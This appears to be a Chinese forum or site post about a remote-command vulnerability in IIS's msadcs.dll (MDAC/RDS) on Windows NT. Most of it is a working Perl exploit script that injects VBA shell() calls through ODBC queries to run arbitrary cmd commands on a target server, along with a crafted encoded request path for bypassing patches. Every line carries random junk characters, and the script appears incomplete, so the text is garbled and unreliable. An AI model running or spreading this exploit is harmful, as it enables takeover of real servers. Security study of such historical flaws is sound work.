IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
eB]cPo4gW ;0)|c}n+.5 涉及程序:
2`D1cX Microsoft NT server
7d44i Im7t8XCG 描述:
RyI(6TZl 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
0?]Y^: $L~?!u&N 详细:
J>H$4t#HX 如果你没有时间读详细内容的话,就删除:
i{#5=np H c:\Program Files\Common Files\System\Msadc\msadcs.dll
^jY'Hj.Bs 有关的安全问题就没有了。
RnvPqNs oCl
$ 0x 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
pS1f y] z#$>f*b 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
PL+j;V(< 关于利用ODBC远程漏洞的描述,请参看:
r2KfZ>tWg" -vRZCIj! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm r&^xg`i[z> h.A@o#x 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
RmR-uQU-c http://www.microsoft.com/security/bulletins/MS99-025faq.asp )<]*! W%3<"'eP 这里不再论述。
JG]67v{F 9VEx0mkdd 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
'p%\fb6` 7Wd}H Z /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
k0%*{IVPN 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
0|1)cO}Dy ~OuK ewr\ i ,[S1g #将下面这段保存为txt文件,然后: "perl -x 文件名"
)oEHE7 y #:^aE|s #!perl
4Nz@s^9 #
-?m"+mUP # MSADC/RDS 'usage' (aka exploit) script
[Pn(d[$z #
-i,=sZXB # by rain.forest.puppy
C}i1)
#
0QWc1L # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
~1_v;LhH5+ # beta test and find errors!
29W~<E8K- Dz<"eyB\ use Socket; use Getopt::Std;
.ZV-]jgr getopts("e:vd:h:XR", \%args);
?9Lp@k~TO Ukf4Q\@w print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
X?2ub/Nr#Y D*!UB5<>/t if (!defined $args{h} && !defined $args{R}) {
I}?+>cf print qq~
}bU1wIW9I Usage: msadc.pl -h <host> { -d <delay> -X -v }
Bl\/q83( -h <host> = host you want to scan (ip or domain)
B)q 5m
y -d <seconds> = delay between calls, default 1 second
7GY3_` -X = dump Index Server path table, if available
Ne 2tfiI` -v = verbose
Thlqe? -e = external dictionary file for step 5
N ,8^AUJ3& OA_WjTwDs Or a -R will resume a command session
fFr[
&\[ Q+Sx5JUR~ ~; exit;}
vz\^Aa
#fv Ng1{NI+S $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
BZ '63 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
6k1;62Ntk if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
kYwV0xQ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Hp#IOsP~ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
T-;|E^ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
GN&-`E]- qs9q{n-Aj if (!defined $args{R}){ $ret = &has_msadc;
T:~c{S4& die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
|8DMj s()* G_5uO58 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
^lI>&I&1 . "cmd /c ";
}K
rQPg
$in=<STDIN>; chomp $in;
rw9 m+q $command="cmd /c " . $in ;
bu}N{cW h(<2{%j if (defined $args{R}) {&load; exit;}
xcVF0%wVC JB}jt)ol% print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
X:0-FCT;\ &try_btcustmr;
+!@@55I- \&KfIh8 print "\nStep 2: Trying to make our own DSN...";
>[$j(k^ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
HVG:q#=C AW6 "1(D print "\nStep 3: Trying known DSNs...";
L}*s_'_e^> &known_dsn;
I(bxCiRV `vMrlKq print "\nStep 4: Trying known .mdbs...";
_?aI/D &known_mdb;
jDyG~de UWf@(8 if (defined $args{e}){
w~}*MsB print "\nStep 5: Trying dictionary of DSN names...";
9fj8r3 F# &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
eeOE\ =
Ff 2 print "Sorry Charley...maybe next time?\n";
$G,#nh2 oD exit;
Ub"6OT1tl UP+4xG ##############################################################################
ZLN79r{T 8|U-{"!O? sub sendraw { # ripped and modded from whisker
kuQ+MQHs sleep($delay); # it's a DoS on the server! At least on mine...
hFLLg|@ my ($pstr)=@_;
aRc2#:~; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@hz~9AII9 die("Socket problems\n");
,`su0P\%#. if(connect(S,pack "SnA4x8",2,80,$target)){
:S_3(/} \ select(S); $|=1;
JX $vz*KF print $pstr; my @in=<S>;
Qf$3!O}G select(STDOUT); close(S);
pS) &d4i return @in;
]b&"](A } else { die("Can't connect...\n"); }}
#rps2nf.j v}>5!* ##############################################################################
I<&(Dg|XQ JKJ+RkXf3 sub make_header { # make the HTTP request
!!\OB6 my $msadc=<<EOT
It@1!_tO2 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
MlVVST User-Agent: ACTIVEDATA
J+]W*?m Host: $ip
GcHy`bQbiX Content-Length: $clen
?h1r6?Sug{ Connection: Keep-Alive
&Bc$8ZR m})EYs1 ADCClientVersion:01.06
@D3|Ak 1 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
kJfMTfl, v
?OIK=Xm --!ADM!ROX!YOUR!WORLD!
p10i_<J]= Content-Type: application/x-varg
]Av)N6$&-Z Content-Length: $reqlen
Y6R+i0guz =Felo8+ EOT
YU(|i}b ; $msadc=~s/\n/\r\n/g;
2Jl$/W 3 return $msadc;}
$={^':Uh Ra~|;(
%d ##############################################################################
{~=Z%Cj2Q k04CSzE"% sub make_req { # make the RDS request
eGEeWJ}[$ my ($switch, $p1, $p2)=@_;
k O8W> my $req=""; my $t1, $t2, $query, $dsn;
:jP4GCxU| '(.vB~m7*+ if ($switch==1){ # this is the btcustmr.mdb query
%aHQIoxg $query="Select * from Customers where City=" . make_shell();
-Y:^<C^^&8 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
VW%eB $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
&1(PS)s V9SkB3-' elsif ($switch==2){ # this is general make table query
ndB [f $query="create table AZZ (B int, C varchar(10))";
\ld{Z;e $dsn="$p1";}
C3#mmiL- kH9fK80 elsif ($switch==3){ # this is general exploit table query
h p<NVST $query="select * from AZZ where C=" . make_shell();
K[G=J $dsn="$p1";}
)RZ:\:c .~L^h/)Gjy elsif ($switch==4){ # attempt to hork file info from index server
'UN
'gXny $query="select path from scope()";
08pG)_L $dsn="Provider=MSIDXS;";}
+o*&JoC ~a
RK=i$F elsif ($switch==5){ # bad query
&nXa/XIZ_ $query="select";
C EMe2~ $dsn="$p1";}
9-6E(D-ux rf[w&~R $t1= make_unicode($query);
Z'ZN^j{ $t2= make_unicode($dsn);
KgCQ4w9 $req = "\x02\x00\x03\x00";
oDvE0"Sz $req.= "\x08\x00" . pack ("S1", length($t1));
/OaW4 b$Tz $req.= "\x00\x00" . $t1 ;
#sg^l>/* $req.= "\x08\x00" . pack ("S1", length($t2));
3R|C$+Sc $req.= "\x00\x00" . $t2 ;
+. ` I $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
)8244; return $req;}
ybNy"2Wk /E|Ac&Qk ##############################################################################
12bt\h9 hZ;[}5T\<S sub make_shell { # this makes the shell() statement
B+w< 0No return "'|shell(\"$command\")|'";}
J-3%.fX, )c"m:3D@ ##############################################################################
_R] qoUw; qyl9#C(a sub make_unicode { # quick little function to convert to unicode
/"LcW"2;N my ($in)=@_; my $out;
d0"Xlleld for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
=4H"&Eu{ return $out;}
Hb:@]!r> { :~D ##############################################################################
#383W)n
IBY(wx[5S sub rdo_success { # checks for RDO return success (this is kludge)
hiM nU my (@in) = @_; my $base=content_start(@in);
tPb$ua| if($in[$base]=~/multipart\/mixed/){
Eqc,/ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
kd3vlp return 0;}
P!*G"^0< F\"`^`(O ##############################################################################
yo=0Ov x+V@f~2F sub make_dsn { # this makes a DSN for us
<`/22S" my @drives=("c","d","e","f");
'A}@XGE:p print "\nMaking DSN: ";
Sph:OX8 foreach $drive (@drives) {
sERm+x< print "$drive: ";
{G^f/% my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
3%'Y): "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
&|8R4l C| . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
)?zlhsu}1; $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
c|,6(4j>$ return 0 if $2 eq "404"; # not found/doesn't exist
rgOc+[X if($2 eq "200") {
[fjP.kw;J foreach $line (@results) {
u+
?Wm40E return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Tz"Xm/Gy } return 0;}
x_K8Gr#Z 0 7B"*< %< ##############################################################################
$Z2Y% z6y 4{Q{>S*h sub verify_exists {
ivb?B,Lz0 my ($page)=@_;
K>a+-QWK3 my @results=sendraw("GET $page HTTP/1.0\n\n");
q0a8=o"| return $results[0];}
I\FBf&~ 0K*|B.O ##############################################################################
0qPbmLMK :Q@qR((&o sub try_btcustmr {
-ghmLMS%t my @drives=("c","d","e","f");
SJXA my @dirs=("winnt","winnt35","winnt351","win","windows");
^zs]cFN#% u}:p@j}Zv foreach $dir (@dirs) {
F CbU> 1R print "$dir -> "; # fun status so you can see progress
dQkp &. foreach $drive (@drives) {
Q Jnji print "$drive: "; # ditto
2xx $reqlen=length( make_req(1,$drive,$dir) ) - 28;
c<c"n' $reqlenlen=length( "$reqlen" );
HT:
p'Yyi $clen= 206 + $reqlenlen + $reqlen;
\F
}s"# ^ rB7&96C, my @results=sendraw(make_header() . make_req(1,$drive,$dir));
QwaAGUA if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
U/|;u;H= else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
#,4CeD|(D, )8rN ##############################################################################
GOII
B )PNeJf|@ sub odbc_error {
q#n0!5Lv2 my (@in)=@_; my $base;
0M=U>g) my $base = content_start(@in);
M'"@l$[QM if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
JO^E x1c $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
S.#IC
lV $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{f9jK@%Gy $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
E Pgn2[z return $in[$base+4].$in[$base+5].$in[$base+6];}
W_sAk~uK/ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
|~y>R#u8pm print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
9AGf4tuy $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
<:tD m e/{1u$ ##############################################################################
^q$m>|KI S=R}# sub verbose {
qyx
' my ($in)=@_;
E6f{z9y6 return if !$verbose;
#w
*]`5
T print STDOUT "\n$in\n";}
#go!"HL ha%3%O8Z ##############################################################################
mK>c+ u) _?+gfi+ sub save {
5^}"Tn4I my ($p1, $p2, $p3, $p4)=@_;
ycr\vn
t open(OUT, ">rds.save") || print "Problem saving parameters...\n";
T/$6ov+K print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
7P!Hryy close OUT;}
k^vsQ'TD h ?Ni5 ##############################################################################
IQ`#M~: ^-24S#KE sub load {
QS*!3?% my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
O6[, K1, open(IN,"<rds.save") || die("Couldn't open rds.save\n");
yHka7D @p=<IN>; close(IN);
FuKp`T-H $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
fF\s5f#: $target= inet_aton($ip) || die("inet_aton problems");
)U~,q>H+
% print "Resuming to $ip ...";
Y~j)B\^{ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
>C1**GQ if($p[1]==1) {
zh<[/'l $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
C]xKdPQj% $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Y@+e)p{ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
YXdd=F if (rdo_success(@results)){print "Success!\n";}
BJ]4j-^o else { print "failed\n"; verbose(odbc_error(@results));}}
bi^Xdu elsif ($p[1]==3){
k!^Au8Up? if(run_query("$p[3]")){
.+'`A"$8 print "Success!\n";} else { print "failed\n"; }}
LWpM-eW1q elsif ($p[1]==4){
/tu+L6 if(run_query($drvst . "$p[3]")){
has \W\( print "Success!\n"; } else { print "failed\n"; }}
^F*G exit;}
{} #W~1` +].Zs<